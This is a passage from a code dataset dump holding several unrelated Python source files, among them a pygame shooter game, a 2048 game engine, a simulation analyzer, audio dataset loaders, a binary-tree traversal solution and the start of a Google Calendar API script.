total time of the program.\r\n","sub_path":"Question1.py","file_name":"Question1.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"123744665","text":"from os import path\nfrom settings import Settings\nfrom button import Button\nfrom game_stats import GameStats\nfrom scoreboard import Scoreboard\nfrom player import Player\nfrom alien import Alien\nfrom time import sleep\nimport pygame\nimport sys\n\nclass BeerRaiders:\n \"\"\"Overall class to manage game assets and behavior.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the game, and create game resources.\"\"\"\n pygame.init()\n self.settings = Settings()\n # create the screen\n self.screen = pygame.display.set_mode((self.settings.screen_width,\n self.settings.screen_height))\n # Background\n self.background = pygame.image.load(self.settings.background)\n # Title and Icon\n pygame.display.set_caption(\"Beer Raiders\")\n pygame.display.set_icon(pygame.image.load('alcohol.png'))\n # Create an instance to store game statistics, and create scoreboard\n self.stats = GameStats(self)\n self.sb = Scoreboard(self)\n # Create player object to implement the creation and update of bullets\n self.player = Player(self)\n # Create group of alien sprites and create fleet\n self.aliens = pygame.sprite.Group()\n self._create_fleet()\n # Make the play button\n self.play_button = Button(self, \"Play Game\")\n\n\n def run_game(self):\n \"\"\"Start the main loop for the game.\"\"\"\n while True:\n self._check_events()\n if self.stats.game_active:\n self.player.update()\n self._update_bullets()\n self._update_aliens()\n self._update_screen()\n\n\n def _check_events(self):\n \"\"\"Respond to keypresses and mouse events.\"\"\"\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n self.player.animate(True)\n self._check_keydown_events(event)\n elif event.type == pygame.KEYUP:\n self.player.animate(False)\n self._check_keyup_events(event)\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n self._check_play_button(mouse_pos)\n\n\n def _check_play_button(self, mouse_pos):\n \"\"\"Start a new game when the player clicks Play.\"\"\"\n button_clicked = self.play_button.rect.collidepoint(mouse_pos)\n if button_clicked and not self.stats.game_active:\n # Reset the game settings\n self.settings.initialize_dynamic_settings()\n # Reset the game statistics\n self.stats.reset_stats()\n self.stats.game_active = True\n self.sb.prep_score()\n self.sb.prep_level()\n self.sb.prep_beers()\n # Get rid of any remaining aliens and bullets\n self.aliens.empty()\n self.player.bullets.empty()\n # Create a new fleet and center the player\n self._create_fleet()\n self.player.center_player()\n # Hide mouse cursor\n pygame.mouse.set_visible(False)\n\n\n def _check_keydown_events(self, event):\n \"\"\"Respond to key presses.\"\"\"\n keys = pygame.key.get_pressed()\n if keys[pygame.K_RIGHT] and keys[pygame.K_SPACE]:\n self.player.moving_right = False\n self.player.prevMv = 'moveright'\n self.player.shoot()\n elif keys[pygame.K_LEFT] and keys[pygame.K_SPACE]:\n self.player.moving_left = False\n self.player.prevMv = 'moveleft'\n self.player.shoot()\n elif keys[pygame.K_LEFT] and keys[pygame.K_RIGHT]:\n self.player.moving_left = False\n self.player.moving_right = False\n elif event.key == pygame.K_RIGHT:\n self.player.moving_right = True\n elif event.key == pygame.K_LEFT:\n self.player.moving_left = True\n elif event.key == pygame.K_q:\n sys.exit()\n elif event.key == pygame.K_SPACE:\n self.player.shoot()\n\n\n def _check_keyup_events(self, event):\n \"\"\"Respond to key releases.\"\"\"\n if event.key == pygame.K_RIGHT:\n self.player.moving_right = False\n self.player.prevMv = 'moveright'\n elif event.key == pygame.K_LEFT:\n self.player.moving_left = False\n self.player.prevMv = 'moveleft'\n\n\n def _update_bullets(self):\n \"\"\"Update position of bullets and get rid of old bullets.\"\"\"\n # Update bullet positions\n self.player.bullets.update()\n # Get rid of bullets that have disappeared\n for bullet in self.player.bullets.copy():\n if bullet.rect.bottom <= 0:\n self.player.bullets.remove(bullet)\n self._check_bullet_alien_collisions()\n\n\n def _check_bullet_alien_collisions(self):\n \"\"\"Respond to bullet-alien collisions.\"\"\"\n # Remove any bullets and aliens that have collided\n collisions = pygame.sprite.groupcollide(self.player.bullets,\n self.aliens, True, True)\n if collisions:\n for aliens in collisions.values():\n self.stats.score += self.settings.alien_points * len(aliens)\n self.sb.prep_score()\n self.sb.check_high_score()\n if not self.aliens:\n # Destroy existing bullets and create new fleet\n self.player.bullets.empty()\n self._create_fleet()\n self.settings.increase_speed()\n # Increase level\n self.stats.level += 1\n self.sb.prep_level()\n\n\n def _update_aliens(self):\n \"\"\"\n Check if the fleet is at an edge,\n then update the positions of all aliens in the fleet.\n \"\"\"\n self._check_fleet_edges()\n self.aliens.update()\n # Look for alien-player collisions\n if pygame.sprite.spritecollideany(self.player, self.aliens):\n self._player_hit()\n # Look for aliens hitting the bottom of the screen\n self._check_aliens_bottom()\n\n\n def _check_aliens_bottom(self):\n \"\"\"Check if any aliens have reached the bottom of the screen.\"\"\"\n screen_rect = self.screen.get_rect()\n for alien in self.aliens.sprites():\n if alien.rect.bottom >= screen_rect.bottom:\n # Treat this the same as if the player got hit\n self._player_hit()\n break\n\n\n def _player_hit(self):\n \"\"\"Respond to the player being hit by an alien.\"\"\"\n if self.stats.beers_left > 0:\n # Decrement beers_left, and update scoreboard\n self.stats.beers_left -= 1\n self.sb.prep_beers()\n # Get rid of any remaining aliens and bullets\n self.aliens.empty()\n self.player.bullets.empty()\n # Create a new fleet and center the player\n self._create_fleet()\n self.player.center_player()\n # Pause\n sleep(0.5)\n else:\n self.stats.game_active = False\n pygame.mouse.set_visible(True)\n\n\n def _create_fleet(self):\n \"\"\"Create the fleet of aliens.\"\"\"\n # Create an alien and find the number of aliens in a row\n # Spacing between each alien is equal to one alien width\n alien = Alien(self)\n alien_width, alien_height = alien.rect.size\n available_space_x = self.settings.screen_width - (2 * alien_width)\n number_aliens_x = available_space_x // (2 * alien_width)\n # Determine the number of rows of aliens that fit on the screen\n player_height = self.player.rect.height\n available_space_y = (self.settings.screen_height -\n (3 * alien_height) - player_height)\n number_rows = available_space_y // (2 * alien_height)\n # Create the full fleet of aliens\n for row_number in range(number_rows):\n for alien_number in range(number_aliens_x):\n self._create_alien(alien_number, row_number)\n\n\n def _create_alien(self, alien_number, row_number):\n \"\"\"Create an alien and place it in the row.\"\"\"\n alien = Alien(self)\n alien_width, alien_height = alien.rect.size\n alien.x = alien_width + 2 * alien_width * alien_number\n alien.rect.x = alien.x\n alien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number\n self.aliens.add(alien)\n\n\n def _check_fleet_edges(self):\n \"\"\"Respond appropriately if any aliens have reached the edge.\"\"\"\n for alien in self.aliens.sprites():\n if alien.check_edges():\n self._change_fleet_direction()\n break\n\n\n def _change_fleet_direction(self):\n \"\"\"Drop the entire fleet and change the fleet's direction.\"\"\"\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1\n\n\n def _update_screen(self):\n \"\"\"Update images on the screen, and flip to the new screen.\"\"\"\n self.screen.fill((0, 0, 0))\n self.screen.blit(self.background, (0, 0))\n self.player.blitme()\n for bullet in self.player.bullets.sprites():\n bullet.draw_bullet()\n self.aliens.draw(self.screen)\n # Draw the score information\n self.sb.show_score()\n # Draw the play button if the game is inactive\n if not self.stats.game_active:\n self.play_button.draw_button()\n pygame.display.flip()\n\n\nif __name__ == '__main__':\n # Make a game instance, and run the game\n br = BeerRaiders()\n br.run_game()\n\n\n######################################\n######################################\n# \"\"\"\n# Explosion\n# \"\"\"\n# Define Colors\n# WHITE = (255, 255, 255)\n# BLACK = (0, 0, 0)\n# RED = (255, 0, 0)\n# GREEN = (0, 255, 0)\n# BLUE = (0, 0, 255)\n# YELLOW = (255, 255, 0)\n#\n# Get the path of images\n# img_dir = path.join(path.dirname(__file__), 'images')\n#\n# class Explosion(pygame.sprite.Sprite):\n# def __init__(self, center, size):\n# pygame.sprite.Sprite.__init__(self)\n# self.size = size\n# self.image = explosion_animation[self.size][0]\n# self.rect = self.image.get_rect()\n# self.rect.center = center\n# self.frame = 0\n# self.last_update = pygame.time.get_ticks()\n# self.frame_rate = 75\n#\n# def Exp_update(self):\n# now = pygame.time.get_ticks()\n# if now - self.last_update > self.frame_rate:\n# self.last_update = now\n# self.frame += 1\n# if self.frame == len(explosion_animation[self.size]):\n# self.kill()\n# else:\n# center = self.rect.center\n# self.image = explosion_animation[self.size][self.frame]\n# self.rect = self.image.get_rect()\n# self.rect.center = center\n#\n# Load Explosion images\n# explosion_animation = []\n# for i in range(1, 9):\n# filename = 'explosion_{}.png'.format(i)\n# img = pygame.image.load(path.join(img_dir, filename)).convert()\n# img.set_colorkey(BLACK)\n# change the size of the explosion\n# img_size = pygame.transform.scale(img, (60, 60))\n# explosion_animation.append(img_size)\n#\n######################################\n######################################\n","sub_path":"beerRaiders.py","file_name":"beerRaiders.py","file_ext":"py","file_size_in_byte":11417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"76075081","text":"from random import random\r\nfrom random import choice\r\n\r\n\r\ndef get_2ou4():\r\n dois_ou_quatro = None\r\n if random() > 0.1:\r\n dois_ou_quatro = 2\r\n else:\r\n dois_ou_quatro = 4\r\n return dois_ou_quatro\r\n\r\ndef get_posicoes_vazias(grelha):\r\n posicoes_vazias = []\r\n \r\n for linha in range(4):\r\n for coluna in range (4):\r\n if grelha[linha][coluna] == 0:\r\n posicoes_vazias.append([linha, coluna])\r\n return posicoes_vazias\r\n\r\ndef inserir_2ou4(grelha):\r\n dois_ou_quatro = get_2ou4()\r\n posicoes_vazias = get_posicoes_vazias(grelha)\r\n posicao_vazia = choice(posicoes_vazias)\r\n linha = posicao_vazia[0]\r\n coluna = posicao_vazia[1]\r\n grelha[linha][coluna] = dois_ou_quatro\r\n \r\n \r\n \r\n\r\ndef novo_jogo():\r\n grelha = [[0, 0, 0, 0],\r\n [0, 0, 0 ,0],\r\n [0, 0, 0 ,0],\r\n [0, 0, 0 ,0]]\r\n fim = False \r\n vitoria = False\r\n pontos = 0\r\n inserir_2ou4(grelha)\r\n inserir_2ou4(grelha)\r\n jogo = (grelha, fim, vitoria, pontos)\r\n return jogo\r\n\r\ndef direita():\r\n print('direita')\r\n\r\ndef mover_esquerda(uma_lista):\r\n nova_lista=[]\r\n for k in range(len(uma_lista)):\r\n if uma_lista[k] !=0:\r\n nova_lista.append(uma_lista[k])\r\n while len(nova_lista) != len(uma_lista):\r\n nova_lista.append(0)\r\n return nova_lista\r\n\r\ndef somar_esquerda(uma_lista):\r\n nova_lista = []\r\n pontos = 0\r\n k = 0\r\n while k < len(uma_lista) - 1:\r\n if uma_lista[k] == uma_lista [k+1]:\r\n nova_lista.append(uma_lista[k] + uma_lista[k+1])\r\n pontos = pontos + uma_lista[k] + uma_lista[k+1]\r\n k = k + 2\r\n else:\r\n nova_lista.append(uma_lista[k])\r\n k = k + 1\r\n if k == len(uma_lista) - 1:\r\n nova_lista.append(uma_lista[k])\r\n while len(nova_lista) != len(uma_lista):\r\n nova_lista.append(0)\r\n return (nova_lista, pontos)\r\n\r\ndef atualizar_grelha(grelha_inicial, grelha):\r\n sao_iguais = True\r\n for linha in range(len(grelha_inicial)):\r\n for coluna in range(len(grelha_inicial[linha])):\r\n if grelha_inicial [linha][coluna] != grelha[linha][coluna]:\r\n sao_iguais = False\r\n if not sao_iguais:\r\n inserir_2ou4(grelha)\r\n \r\ndef get_vitoria(grelha):\r\n ganhou = False\r\n for linha in range(len(grelha)):\r\n for coluna in range(len(grelha[linha])):\r\n if grelha[linha][coluna] == 2048:\r\n ganhou = True\r\n return ganhou\r\n\r\ndef ha_iguais_adjacentes(grelha):\r\n ha_iguais = False\r\n for linha in range(len(grelha)):\r\n for coluna in range(len(grelha[linha])-1):\r\n if grelha[linha][coluna] != 0 and grelha[linha][coluna] == grelha[linha][coluna + 1]:\r\n ha_iguais = True\r\n for linha in range(len(grelha) -1):\r\n for coluna in range(len(grelha[linha])):\r\n if grelha[linha][coluna] != 0 and grelha[linha][coluna] == grelha[linha + 1][coluna]:\r\n ha_iguais = True\r\n return ha_iguais\r\n\r\ndef get_fim(grelha):\r\n fim = False\r\n if len(get_posicoes_vazias(grelha)) == 0 and not ha_iguais_adjacentes(grelha):\r\n fim = True\r\n return fim\r\n\r\n\r\ndef esquerda(jogo):\r\n grelha = jogo[0]\r\n fim = jogo[1]\r\n vitoria = jogo[2]\r\n pontos = jogo[3]\r\n nova_grelha = []\r\n for linha in grelha:\r\n nova_linha_1 = mover_esquerda(linha)\r\n nova_linha_2 = somar_esquerda(nova_linha_1) [0]\r\n nova_grelha.append(nova_linha_2)\r\n pontos = pontos + somar_esquerda(nova_linha_1)[1]\r\n atualizar_grelha(grelha, nova_grelha)\r\n fim = get_fim(nova_grelha)\r\n vitoria = get_vitoria(nova_grelha)\r\n jogo_actualizado = (nova_grelha, fim, vitoria, pontos)\r\n return jogo_actualizado\r\n\r\n\r\n##\r\ndef reverte_linhas (grelha):\r\n nova_grelha = []\r\n for linha in range(len(grelha)):\r\n nova_linha = []\r\n for coluna in range(len(grelha[linha])):\r\n nova_linha.append(grelha[linha][-1 - coluna])\r\n nova_grelha.append(nova_linha)\r\n return nova_grelha\r\n\r\n#teste do reverte_linhas \r\n#grelha = [[1, 2, 3, 4],[5, 6, 7, 8]]\r\n#print(reverte_linhas(grelha))\r\n\r\n##\r\ndef trocar_linhas_com_colunas(grelha):\r\n nova_grelha = []\r\n for coluna in range(len(grelha[0])):\r\n nova_linha = []\r\n for linha in range(len(grelha)):\r\n nova_linha.append(grelha[linha][coluna])\r\n nova_grelha.append(nova_linha)\r\n return nova_grelha\r\n\r\n\r\n#teste do trocar_linhas_com_colunas \r\n#grelha = [[1, 2, 3, 4],[5, 6, 7, 8]]\r\n#print(trocar_linhas_com_colunas(grelha))\r\n\r\n##\r\ndef direita(jogo):\r\n (grelha, fim, vitoria, pontos) = jogo\r\n grelha_revertida = reverte_linhas(grelha)\r\n jogo_revertido = (grelha_revertida, fim, vitoria, pontos)\r\n jogo_revertido_atualizado = esquerda(jogo_revertido)\r\n (grelha, fim, vitoria, pontos) = jogo_revertido_atualizado\r\n grelha_revertida = reverte_linhas(grelha)\r\n jogo_atualizado = (grelha_revertida, fim, vitoria, pontos)\r\n return jogo_atualizado\r\n\r\ndef acima(jogo):\r\n (grelha, fim, vitoria, pontos) = jogo\r\n grelha_transposta = trocar_linhas_com_colunas(grelha)\r\n jogo_transposto = (grelha_transposta, fim, vitoria, pontos)\r\n jogo_transposto_atualizado = esquerda(jogo_transposto)\r\n (grelha, fim, vitoria, pontos) = jogo_transposto_atualizado\r\n grelha_transposta = trocar_linhas_com_colunas(grelha)\r\n jogo_atualizado = (grelha_transposta, fim, vitoria, pontos)\r\n return jogo_atualizado\r\n\r\ndef abaixo(jogo):\r\n (grelha, fim, vitoria, pontos) = jogo\r\n grelha_transposta = trocar_linhas_com_colunas(grelha)\r\n jogo_transposto = (grelha_transposta, fim, vitoria, pontos)\r\n jogo_transposto_atualizado = direita(jogo_transposto)\r\n (grelha, fim, vitoria, pontos) = jogo_transposto_atualizado\r\n grelha_transposta = trocar_linhas_com_colunas(grelha)\r\n jogo_atualizado = (grelha_transposta, fim, vitoria, pontos)\r\n return jogo_atualizado\r\n \r\n\r\n\r\ndef valor(jogo, linha, coluna):\r\n grelha = jogo[0]\r\n return grelha [linha][coluna]\r\n \r\n\r\ndef terminou(jogo):\r\n fim = jogo[1]\r\n return fim\r\n\r\ndef ganhou_ou_perdeu(jogo):\r\n vitoria = jogo[2]\r\n return vitoria\r\n\r\ndef pontuacao(jogo):\r\n pontos = jogo[3]\r\n return pontos\r\n\r\n\r\n#print(novo_jogo())\r\n","sub_path":"j2048_motor_47742.py","file_name":"j2048_motor_47742.py","file_ext":"py","file_size_in_byte":6378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"251239665","text":"\nfrom data.analysis import AnalyzerCommon\nfrom data.analysis_extra.utility import Function, AnimalProtection, AssetMonitoring, Military\n\nalgorithm_module = __import__(__package__, globals(), locals(), ['object'])\n\n\nclass Analyzer(AnalyzerCommon):\n\tdef __init__(self, sim_name, results_directory):\n\t\tsuper().__init__(sim_name, results_directory, self.normalised_parameters())\n\n\t@staticmethod\n\tdef normalised_parameters():\n\t\treturn [\n\t\t\t('Sent', 'TimeTaken'),\n\t\t\t(('Sent', 'TimeTaken'), 'num_nodes'),\n\n\t\t\t('Captured', 'ReceiveRatio'),\n\t\t\t(('Sent', 'TimeTaken'), 'ReceiveRatio'),\n\t\t]\n\n\t@staticmethod\n\tdef results_header():\n\t\td = self.common_results_header(algorithm_module.local_parameter_names)\n\n\t\tself.common_results(d)\n\n\t\td['normalised captured']\t= lambda x: self._format_results(x, 'norm(Captured,ReceiveRatio)')\n\t\td['normalised norm(sent,time taken)']\t= lambda x: self._format_results(x, 'norm(norm(Sent,TimeTaken),ReceiveRatio)')\n\n\t\td['normal'] = lambda x: self._format_results(x, 'NormalSent')\n\t\td['away'] = lambda x: self._format_results(x, 'AwaySent')\n\t\td['beacon'] = lambda x: self._format_results(x, 'BeaconSent')\n\n\t\td['paths reached end'] = lambda x: self._format_results(x, 'PathsReachedEnd')\n\t\td['source dropped'] = lambda x: self._format_results(x, 'SourceDropped')\n\t\td['path dropped'] = lambda x: self._format_results(x, 'PathDropped', allow_missing=True)\n\t\td['path dropped length']= lambda x: self._format_results(x, 'PathDroppedLength', allow_missing=True)\n\n\t\td['sent heatmap'] = lambda x: self._format_results(x, 'SentHeatMap')\n\t\td['received heatmap'] = lambda x: self._format_results(x, 'ReceivedHeatMap')\n\n\t\td['norm(sent,time taken)'] = lambda x: self._format_results(x, 'norm(Sent,TimeTaken)')\n\t\td['norm(norm(sent,time taken),network size)'] = lambda x: self._format_results(x, 'norm(norm(Sent,TimeTaken),num_nodes)') \n\n\t\td['utility animal'] = lambda x: str(Function.utility(x, [(\"Captured\", AnimalProtection.cr, \"Sigmoid\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"ReceiveRatio\", AnimalProtection.dr, \"Linear\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"NormalLatency\", AnimalProtection.lat, \"Linear\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"norm(Sent,TimeTaken)\", AnimalProtection.msg, \"Linear\"),\n\t\t\t\t\t\t\t\t\t\t\t\t]))\n\n\t\td['utility monitor'] = lambda x: str(Function.utility(x, [(\"Captured\", AssetMonitoring.cr, \"Linear\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"ReceiveRatio\", AssetMonitoring.dr, \"Sigmoid\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"NormalLatency\", AssetMonitoring.lat, \"Linear\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"norm(Sent,TimeTaken)\", AssetMonitoring.msg, \"Sigmoid\"),\n\t\t\t\t\t\t\t\t\t\t\t\t]))\n\n\t\td['utility military'] = lambda x: str(Function.utility(x, [(\"Captured\", Military.cr, \"Sigmoid\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"ReceiveRatio\", Military.dr, \"Sigmoid\"), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"NormalLatency\", Military.lat, \"Sigmoid\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(\"norm(Sent,TimeTaken)\", Military.msg, \"Linear\"),\n\t\t\t\t\t\t\t\t\t\t\t\t]))\n\n\t\treturn d\n","sub_path":"algorithm/pw_ilp/Analysis.py","file_name":"Analysis.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"606216755","text":"#\n# Copyright 2018 Picovoice Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport csv\nimport logging\nimport os\nimport tempfile\nfrom abc import abstractmethod\nfrom enum import Enum\n\nimport numpy as np\nfrom soundfile import SoundFile\nfrom sox import Transformer\nfrom sox import file_info\n\n\nclass DatasetInstance(Enum):\n \"\"\"Supported datasets.\"\"\"\n CommonVoiceDataset = 'Common Voice Dataset'\n AlexaDataset = 'Alexa Dataset'\n DemandDataset = 'Demand Dataset'\n\n\nclass AudioMetadata(object):\n \"\"\"Audio metadata data.\"\"\"\n def __init__(self, path, is_keyword):\n \"\"\"Initializer.\n\n :param path: absolute path to the audio file.\n :param is_keyword: boolean flag that shows if this audio file belongs to the keyword dataset.\n \"\"\"\n self.path = path\n self.is_keyword = is_keyword\n\n\nclass AudioReader(object):\n \"\"\"Audio reader.\"\"\"\n def __init__(self, sample_rate, channels, bits_per_sample):\n \"\"\"Initializer.\n\n :param sample_rate: sample rate of the audio file.\n :param channels: number of channels in the audio file.\n :param bits_per_sample: bit per sample in the audio file.\n \"\"\"\n self._sample_rate = sample_rate\n self._channels = channels\n self._bits_per_sample = bits_per_sample\n\n def read(self, audio_metadata):\n \"\"\"Read an audio file.\n\n :param audio_metadata: metadata info of an audio\n :return: raw audio data as float32 array and duration in seconds.\n \"\"\"\n fd = temp_path = None\n # Convert it to a wav file.\n if not audio_metadata.path.endswith('.wav'):\n original_sample_rate = file_info.sample_rate(audio_metadata.path)\n assert self._sample_rate <= original_sample_rate\n transformer = Transformer()\n transformer.convert(samplerate=self._sample_rate, n_channels=self._channels, bitdepth=self._bits_per_sample)\n fd, temp_path = tempfile.mkstemp(suffix='.wav')\n transformer.build(audio_metadata.path, temp_path)\n\n if temp_path:\n path = temp_path\n else:\n path = audio_metadata.path\n\n # Read the audio file.\n with SoundFile(path) as soundfile:\n # make sure the audio properties are as expected.\n assert soundfile.samplerate == self._sample_rate\n assert soundfile.channels == self._channels\n duration_sec = len(soundfile) / self._sample_rate\n pcm = soundfile.read(dtype='float32')\n\n # Add 0.5 second silence to the end of files containing keyword as in occasionally the user stopped\n # recording right after uttering the keyword. If the detector needs some time after seeing the keyword to\n # make a decision (e.g. endpointing) this is going to artificially increase the miss rates.\n if audio_metadata.is_keyword:\n pcm = np.append(pcm, np.zeros(self._sample_rate // 2))\n\n if temp_path:\n os.close(fd)\n os.remove(temp_path)\n\n return pcm, duration_sec\n\n\nclass Dataset(object):\n \"\"\"Base class for dataset.\"\"\"\n\n def __init__(self, root):\n \"\"\"Initializer.\n\n :param root: root directory of the dataset.\n \"\"\"\n self._root = root\n if not os.path.exists(root) or not os.path.isdir(root):\n raise ValueError('Check your root directory %s', root)\n\n @classmethod\n def create(cls, dataset_type, root, **kwargs):\n \"\"\"Factory method to create a dataset.\n\n :param dataset_type: type of the dataset.\n :param root: root directory of the dataset.\n :param kwargs: optional arguments passed to the constructor of the dataset.\n :return: dataset instance.\n \"\"\"\n if dataset_type is DatasetInstance.AlexaDataset:\n return AlexaDataset(root)\n if dataset_type is DatasetInstance.CommonVoiceDataset:\n return CommonVoiceDataset(root, **kwargs)\n if dataset_type is DatasetInstance.DemandDataset:\n return DemandDataset(root)\n raise ValueError('%s is not supported', dataset_type.value)\n\n @abstractmethod\n def metadata(self):\n \"\"\"Get the metadata in the dataset.\"\"\"\n pass\n\n\nclass CommonVoiceDataset(Dataset):\n \"\"\"Mozilla Common Voice Dataset.\n\n https://voice.mozilla.org\n \"\"\"\n def __init__(self,\n root,\n exclude_words=None):\n \"\"\"Initialize.\n\n :param root: root directory of Common Voice Dataset.\n :param exclude_words: exclude the files that contain any of the these words.\n \"\"\"\n super().__init__(root)\n if isinstance(exclude_words, str):\n exclude_words = [exclude_words]\n\n self._exclude_words = exclude_words\n # Only read the data from validated directories\n self._include_dirs = ['cv-valid-train', 'cv-valid-test']\n\n def metadata(self):\n \"\"\"Get the metadata.\n\n :return: list of metadata info for audio files in the dataset.\n \"\"\"\n logging.info('Exploring Common Voice Dataset...')\n res = []\n for directory, _, filenames in os.walk(self._root):\n filenames = [f for f in filenames if f.endswith('.mp3')]\n dirname = os.path.basename(directory)\n if not filenames or dirname == 'cv-invalid' or dirname not in self._include_dirs:\n continue\n\n dir_metadata = self._get_directory_metadata(dirname)\n for filename in filenames:\n md = dir_metadata.get(filename)\n # Only take the files that have no down votes and have more than one up votes.\n if (md['up_votes'] < 2 or md['down_votes'] > 0 or not md['text'] or\n any(x in md['text'] for x in self._exclude_words)):\n continue\n\n path = os.path.join(directory, filename)\n res.append(AudioMetadata(path, False))\n\n logging.info('Found %s valid audio files in Common Voice Dataset', len(res))\n return res\n\n def _get_directory_metadata(self, dirname):\n \"\"\"Get a metadata info for audio files in a directory.\n\n The metadata is a dict from the name of a file to their metadata information. For example, it could be something\n like: {'sample.mp3': {'text': 'GitHub is awesome', 'up_votes': 2, 'down_votes': 0}}\n\n :param dirname: data directory name.\n :return: dict of file names to their metadata info.\n \"\"\"\n # The metadata files are in the root folder.\n metadata = {}\n metadata_file = os.path.join(self._root, '%s.csv' % dirname)\n\n with open(metadata_file) as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n # file names are presented as in the csv file.\n filename = row['filename'].split('/', maxsplit=1)[1]\n text = row['text'].lower()\n up_votes = int(row['up_votes'])\n down_votes = int(row['down_votes'])\n metadata[filename] = {'text': text, 'up_votes': up_votes, 'down_votes': down_votes}\n\n return metadata\n\n\nclass AlexaDataset(Dataset):\n \"\"\"Alexa dataset collected by Picovoice.\n\n \"\"\"\n def __init__(self, root):\n \"\"\"Initializer.\n\n :param root: root directory of the dataset.\n \"\"\"\n super().__init__(root)\n\n def metadata(self):\n \"\"\"Get the metadata.\n\n :return: list of metadata info for audio files in the dataset.\n \"\"\"\n res = []\n logging.info('Exploring Alexa Dataset...')\n for directory, _, filenames in os.walk(self._root):\n filenames = [f for f in filenames if f.endswith('.wav')]\n for f in filenames:\n path = os.path.join(directory, f)\n res.append(AudioMetadata(path, True))\n\n logging.info('Found %s audio files in Alexa Dataset', len(res))\n return res\n\n\nclass DemandDataset(Dataset):\n \"\"\"Demand dataset.\n\n http://parole.loria.fr/DEMAND/\n \"\"\"\n def __init__(self, root):\n \"\"\"Initializer.\n\n :param root: root directory of the dataset.\n \"\"\"\n super().__init__(root)\n\n def metadata(self):\n \"\"\"Get the metadata.\n\n :return: list of metadata info for audio files in the dataset.\n \"\"\"\n res = []\n logging.info('Exploring Demand Dataset...')\n for directory, _, filenames in os.walk(self._root):\n filenames = [f for f in filenames if f == 'ch01.wav']\n for f in filenames:\n path = os.path.join(directory, f)\n res.append(AudioMetadata(path, False))\n\n logging.info('Found %s audio files in Demand Dataset', len(res))\n return res\n","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":9339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"601532272","text":"# Definition for a binary tree node.\r\n# class TreeNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n\r\n\r\n# Method 1: iteratively\r\nclass Solution:\r\n def levelOrderBottom(self, root: TreeNode) -> List[List[int]]:\r\n if not root:\r\n return root\r\n queue = [root]\r\n res = []\r\n while queue:\r\n res.append([i.val for i in queue])\r\n\r\n tem = []\r\n for i in queue:\r\n if i.left:\r\n tem.append(i.left)\r\n if i.right:\r\n tem.append(i.right)\r\n queue = tem[:]\r\n \r\n return res[::-1]\r\n\r\n# Time: O(N) since each node is processed exactly once.\r\n# Space: O(N) to keep the output structure which contains N node values.\r\n\r\n \r\n# Method 2: recursively\r\nclass Solution(object):\r\n def levelOrderBottom(self, root):\r\n res = [] # (1) initialize an empty list\r\n \r\n def helper(root, depth): # (2) helper function\r\n if root is None: # (2.1) edge case\r\n return\r\n \r\n if len(res) == depth: # (2.2) process\r\n res.append([])\r\n res[depth].append(root.val)\r\n \r\n helper(root.left, depth + 1) # (2.3) recursion\r\n helper(root.right, depth + 1)\r\n \r\n helper(root, 0) # (3) call helper function\r\n return res[::-1]\r\n \r\n# Time: O(N) since each node is processed exactly once.\r\n# Space: O(N) to keep the output structure which contains N node values.\r\n\r\n","sub_path":"05 Tree/107. Binary Tree Level Order Traversal II.py","file_name":"107. Binary Tree Level Order Traversal II.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"121767462","text":"from __future__ import print_function\nimport datetime\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\n# encoding=utf8\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n# File copied mercilessly from\n# https://developers.google.com/calendar/quickstart/python\n#\n# Need:\n#\n# pip install --upgrade google-api-python-client oauth2client\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = 'https://www.googleapis.com/auth/calendar.readonly'\n\ndef main():\n \"\"\"Shows basic usage of the Google Calendar API.\n Prints the start and name of the next 10 events on the user's calendar.\n \"\"\"\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n # If needed, the credentials.json file needs to be obtained\n # in https://console.developers.google.com/apis/credentials?project=gcalreports-1547134468896&authuser=0\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n service = build('calendar', 'v3', http=creds.authorize(Http()))\n\n # Call the Calendar API\n today = 